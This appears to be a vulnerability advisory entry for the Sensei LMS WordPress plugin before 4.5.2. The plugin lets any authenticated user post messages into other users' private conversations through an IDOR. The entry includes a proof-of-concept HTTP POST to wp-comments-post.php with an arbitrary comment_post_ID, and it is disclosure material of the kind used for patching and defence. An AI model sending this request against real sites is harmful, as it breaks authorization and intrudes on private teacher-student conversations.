Sensei LMS < 4.5.2 - Arbitrary Private Message Sending via IDOR

2022-08-0400:00:00

Veshraj Ghimire

sensei lms

arbitrary private message

idor

EPSS

0.001

Percentile

21.4%

JSON

The plugin does not ensure that the sender of a private message is either the teacher or the original sender, allowing any authenticated user to send messages to arbitrary private conversation via a IDOR attack. Note: Attackers are not able to see responses/messages between the teacher and student

POST /wp-comments-post.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Connection: close
Cookie: [any authenticated user]
Upgrade-Insecure-Requests: 1

comment=<Any+comment>&submit=Post+Comment&comment_post_ID=111&comment_parent=0

References

hackerone.com/reports/1592596

EPSS

0.001

Percentile

21.4%

JSON

Related for WPEX-ID:5395D196-A39A-4A58-913E-5B5B9D6123A5